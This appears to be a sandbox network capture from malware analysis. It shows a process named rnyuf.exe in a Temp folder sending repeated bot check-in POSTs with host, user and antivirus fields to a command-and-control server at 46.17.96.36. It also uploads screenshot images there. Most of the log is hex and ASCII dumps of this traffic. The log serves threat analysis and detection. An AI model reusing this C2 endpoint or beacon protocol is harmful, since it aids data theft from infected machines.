Aug 29, 2021 22:28:21.422256947 CEST	14747	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:28:21.422406912 CEST	14755	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:28:21.422439098 CEST	14760	OUT	Data Raw: b5 1a 90 b5 c9 78 47 14 e5 4e a2 76 3e 52 ef 5e 95 f0 3d 51 fc 79 2a ba ab 29 b1 93 21 86 47 de 4a f3 5a eb 3e 1e 78 a6 d3 c1 fe 24 7d 4e f2 de 69 e2 36 ef 10 48 b1 92 49 5f 52 38 e0 d7 9d 51 37 06 91 ed 53 69 49 36 7a 94 7e 28 bd be f1 84 70 d8 Data Ascii: xGNv>R^=Qy*)!GJZ>x$}Ni6HI_R8Q7SiI6z~(pI-{d\#8$/exjQUUf 8fg4Rfy^8#TZ#Qu]oIV}+mmkEx[II uH {
Aug 29, 2021 22:28:21.454756021 CEST	14763	OUT	Data Raw: 90 14 6d a2 48 8b 15 03 e6 fb a4 b1 c8 ce 7d c5 72 5a aa b7 e3 f7 af d2 e7 53 74 da 7f 81 62 1f 09 c9 3b ed 1a c6 94 aa f7 26 ce dd dd e5 0b 73 30 00 b2 21 f2 f8 c1 65 05 9b 6a e4 f0 48 e6 8b 3f 05 dd dd 5b da c9 f6 ed 36 09 ee a3 9a 58 6d a6 99 Data Ascii: mH}rZStb;&s0!ejH?[6Xm3,$dtznDmaaw5\#m3c,XTq1J,$+X\[#8b]f7cu?VMK_j0X\[^A5KtP?0O~6\vOn[28
Aug 29, 2021 22:28:21.454811096 CEST	14776	OUT	Data Raw: b8 d2 ef de 58 82 ee 31 be 57 e6 50 dc 65 c1 e8 47 6a e5 a7 56 a5 57 cb 08 dd 9b d4 a7 4e 92 e6 9c ac 8f 9f bf b1 f5 3f fa 07 5d ff 00 df 86 ff 00 0a 3f b1 f5 3f fa 07 5d ff 00 df 86 ff 00 0a f7 33 e2 1f 03 8e ba 4e a7 f9 8f fe 39 5b fa 35 9f 85 Data Ascii: X1WPeGjVWN?]??]3N9[5u5&0`G^y")%6cZXeVh9:GktFdmvs0~^H xY3.Y]Z*9WAQE(>o&Q\bdg)z{WU
Aug 29, 2021 22:28:21.454842091 CEST	14787	OUT	Data Raw: 51 57 3e c4 68 fb 11 a3 d9 cb b0 bd ac 4a 74 0a b9 f6 16 a5 fb 0b 51 ec a5 d8 3d ac 7b 94 e9 45 5c fb 03 53 85 83 53 54 a4 2f 6b 1e e5 1a 5a b9 f6 16 cd 2f d8 18 d3 f6 52 17 b5 8f 72 9d 1c 55 cf b0 35 2f d8 0d 3f 65 20 f6 b1 ee 52 a0 d5 d1 60 d4 Data Ascii: QW>hJtQ={E\SST/kZ/RrU5/?e R`e!{X(W/qO;)UZQZc.uE_>Q={)xi4Uem}%i4fZ=-j&HOja_X+a>>hz z
Aug 29, 2021 22:28:21.557008028 CEST	14829	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
221	192.168.2.4	49960	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:21.508351088 CEST	14828	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:21.585319042 CEST	14829	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
222	192.168.2.4	49961	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:21.845362902 CEST	14830	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:21.923960924 CEST	14857	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
223	192.168.2.4	49962	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:21.885750055 CEST	14831	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:21.885847092 CEST	14831	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:21.886008978 CEST	14841	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:21.886147976 CEST	14844	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:21.923794985 CEST	14849	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:21.923852921 CEST	14857	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:28:21.924537897 CEST	14864	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:28:21.924590111 CEST	14869	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:21.960707903 CEST	14872	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:21.960741997 CEST	14875	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:28:21.960793972 CEST	14886	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:28:22.071844101 CEST	14939	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
224	192.168.2.4	49963	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:22.108160019 CEST	14940	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:22.188016891 CEST	14940	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
225	192.168.2.4	49964	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:22.521174908 CEST	14941	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:22.597179890 CEST	14980	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
226	192.168.2.4	49965	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:22.558584929 CEST	14941	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:22.558686018 CEST	14942	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:22.558857918 CEST	14952	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:22.559005022 CEST	14954	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:22.594022036 CEST	14957	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:22.594072104 CEST	14960	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:22.594338894 CEST	14968	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:28:22.594523907 CEST	14974	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:28:22.594551086 CEST	14980	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:22.630825043 CEST	14986	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:22.630861998 CEST	14991	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:28:22.743383884 CEST	15049	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
227	192.168.2.4	49966	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:22.834120035 CEST	15050	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:22.911597967 CEST	15050	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
228	192.168.2.4	49967	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:23.203746080 CEST	15051	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:23.284012079 CEST	15090	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
229	192.168.2.4	49968	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:23.228316069 CEST	15052	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:23.228394032 CEST	15052	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:23.228563070 CEST	15062	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:23.228679895 CEST	15065	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
